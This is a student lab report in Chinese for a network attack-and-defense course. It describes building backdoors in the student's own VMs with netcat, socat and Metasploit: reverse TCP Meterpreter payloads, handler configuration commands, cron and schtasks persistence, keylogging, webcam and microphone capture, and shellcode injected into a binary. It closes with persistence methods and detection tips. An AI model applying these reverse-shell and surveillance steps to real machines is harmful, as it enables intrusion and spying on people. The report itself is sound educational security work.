20222424 2024-2025-1 《网络与系统攻防技术》实验二实验报告
20222424 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
- 使用netcat获取主机操作Shell,cron启动某项任务
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
2.0关闭windows防火墙、实时保护
2.1使用netcat获取主机操作Shell,cron启动某项任务
2.1.1windows主机使用netcat并获取shell
查看windows主机ip:
windows主机监听8888端口:
kali虚机连接主机8888端口并执行shell:
在主机输入命令:
可以看到主机已成功获取虚拟机shell。
2.1.2通过设置cron使得kali启动定时任务
在主机中输入命令,写入定时任务指令,并查看时程表:
在对应目录下可以看到生成的文件:(需等待一分钟)
定时任务执行成功!
2.2使用socat获取主机操作Shell, 任务计划启动
2.2.1windows主机使用socat获取shell
查看主机ip:
主机使用socat监听8888端口:
虚机连接主机8888端口:
可以看到虚机已经获取到windows主机shell。
2.2.2通过命令行创建任务计划,执行定时任务
编写c程序并编译为20222424.exe:
使用schtasks命令添加任务计划,每分钟执行一次编写的程序:
回到windows主机,打开计算机管理,看到正在运行的任务:
等到若干分钟后,查看程序执行结果:
定时任务执行成功!
2.3使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
查看虚机ip:
使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中:
LHOST=192.168.58.79是shell连接的主机 IP 地址,是虚拟机的IP地址;
LPORT=8888是监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe。
主机监听8888窗口等待接收可执行文件并将其存放在指定目录下:
虚机将生成的后门文件传给主机:
可以看到文件成功传输。
在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.58.79 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
输入exploit,使监听模块开始运行,并在Windows终端运行后门2221backdoor.exe文件:
可以看到已成功连接!
2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
2.4.1获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令,获取主机10秒音频:
读取主机键盘记录:
截取主机屏幕:
获取主机摄像头拍照:
2.4.2提权
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个20222424_pwn的文件中:
-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.58.79:目标主机 IP ,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /home/kali/Document/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
输入指令msfconsole,配置监听过程:
打开另一个shell,添加20222424_pwn的权限并运行:
此时获取反弹连接Shell:
3.问题及解决方案
- 问题1:在运行后门时,系统提示程序被占用,无法执行。
- 问题1解决方案:是netcat传输后门文件在占用,关闭netcat终端即可
- 问题2:在运行后门后,虚机msfconsole监听器一直未能连接,卡在下图的这一步:
- 问题2解决方案:将虚拟机网络连接方式由NAT网络改为桥接网卡:
我看到有同学是NAT网络也能成功连接,但我改为桥接模式后就成功了,目前未找到原因。
4.学习感悟、思考等
4.1问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 通过非认证的资源:在盗版、第三方网站下载资源
- 通过钓鱼攻击:攻击者通过发送恶意链接或附件,诱使用户点击并执行恶意代码,安装后门
- 利用系统的漏洞:攻击者可以通过利用未打补丁的系统漏洞进入系统并安装后门。这些漏洞可以存在于操作系统、应用程序、网络协议中
- 通过硬件:插入装有恶意程序的U盘等
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:
- 注册表启动:攻击者可以修改注册表的启动项(如 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)以使后门在系统启动时自动运行
- 服务启动:创建一个伪装成合法服务的后门程序,并配置为随系统启动
- 计划任务:通过 schtasks 命令添加计划任务,使后门在特定时间或事件触发时运行
Linux:
- 修改启动脚本:攻击者可以编辑 /etc/rc.local 或 /etc/init.d/ 中的启动脚本,确保后门随系统启动
- 修改 Cron 任务:通过 cron 配置定时任务,使后门定期执行
- 动态库劫持:通过修改 LD_PRELOAD 变量来加载恶意的动态库,使其随应用程序运行
(3)Meterpreter有哪些给你映像深刻的功能?
- 摄像头和麦克风访问:可以远程控制目标计算机的摄像头和麦克风,进行监控
- 键盘记录:可以捕获用户的键盘输入,帮助获取密码或其他敏感信息
- 权限提升:Meterpreter 自带了多个本地权限提升模块,允许攻击者通过利用系统的漏洞,迅速获得更高的权限,达到控制整个系统的目的
(4)如何发现自己有系统有没有被安装后门?
- 使用安全工具扫描:使用杀毒软件或专业安全工具进行系统扫描,查找潜在的后门程序
- 检查启动项和服务:在 Windows 上,检查注册表启动项和服务列表;在 Linux 上,检查启动脚本和 cron 任务,寻找异常的条目
- 检查系统进程:检查是否有不明进程正在运行
- 检查异常网络活动:使用网络监控工具(如 Wireshark)查看是否有可疑的网络连接,尤其是外部未授权的连接。
4.2实验感悟
在本次实验中,我探索实践了多种获取和控制主机的技术手段。使用netcat和socat获取主机操作Shell,并添加cron定时任务、使用schtasks命令添加任务计划,来远程执行程序。这种实践加强了我对网络工具的使用能力和对后门原理的理解。在使用MSF生成执行后门程序并成功监听时,我见识到现代渗透工具的强大功能:我可以远程获取主机的麦克风、摄像头、屏幕,可以通过读取键盘输入来获取密码等隐私信息,在试验成功的成就感之余,我也认识到了后门技术对于网络、系统安全的巨大威胁,以及做好防护措施的重要性。